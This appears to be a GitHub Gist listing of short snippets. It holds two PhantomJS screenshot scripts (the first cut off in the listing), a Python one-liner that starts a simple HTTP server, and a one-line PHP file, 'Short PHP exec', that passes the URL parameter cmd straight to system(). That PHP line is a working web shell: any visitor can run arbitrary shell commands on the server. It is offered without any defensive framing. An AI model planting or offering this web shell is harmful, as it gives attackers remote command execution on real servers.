Skip to content

Instantly share code, notes, and snippets.

@ivanvza
ivanvza / multi_screenshot.js
Created May 13, 2015 06:24
Multiple PhantomJs screenshots
var page = require('webpage').create();
page.viewportSize = { width: 640, height: 480 };
page.open('<wep page>', function () {
setTimeout(function() {
// Initial frame
var frame = 0;
// Add an interval every 25th second
setInterval(function() {
// Render an image with the frame name
@ivanvza
ivanvza / screenshot.js
Last active August 29, 2015 14:21
Single PhantomJs screenshot
var page = require('webpage').create();
page.viewportSize = { width: 640, height: 480 };
page.open('<web page>', function () {
setInterval(function() {
page.render('image.png', { format: "png" });
}, 25);
});
@ivanvza
ivanvza / php_exec.php
Created April 14, 2015 13:44
Short PHP exec
<?php system($_GET["cmd"]); ?>
@ivanvza
ivanvza / pythonsimplehttp
Created March 12, 2015 12:17
Python Simple HTTP web server
python -m SimpleHTTPServer